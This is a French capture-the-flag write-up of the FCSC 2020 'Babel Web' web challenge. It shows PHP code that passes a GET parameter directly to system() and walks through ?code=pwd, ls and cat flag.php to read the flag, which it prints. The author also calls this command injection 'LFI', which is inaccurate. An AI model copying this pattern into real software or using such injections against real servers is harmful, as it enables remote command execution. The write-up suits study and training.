o/ Ce billet a pour but de présenter le challenge Babel Web du FCSC 2020

Au commencement
Pour ce challenge, on a un site web à auditer pour trouver le flag donc. On va regarder à quoi il ressemble

On a rien de ouf ouf ici. On va regarder le code source de la page

On remarque un bout de code HTML commenté qui indique un paramètre GET source=1
.
Afficher le code source tu feras
On va regarder ce que fait cette page

On voit donc le bout de code PHP suivant
<?php
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("</pre>");
} else {
?>
Alors ce qui est intéressant ici c'est @system($_GET['code']);
. On voit ici qu'on peut potentiellement faire une LFI (Local File Incluion) sur un paramètre GET code
. On va tester la commande pwd
qui devrait nous afficher le chemin du répertoire dans lequel on se situe sur le serveur.
On essaye avec la LFI ?code=pwd
Exploitation

On voit ici le chemin du dossier qui s'affiche. L'exploitation fonctionne. On va lister le contenu du dossier avec la LFI ?code=ls

On voit ici le fichier flag.php
. On va donc regarder ce qui se trouve à l'intérieur grâce à ?code=cat flag.php

Hum... Page blanche. On va voir dans le code source de la page

TADAAAAAAAAAAAAA !!
<pre><?php
$flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>
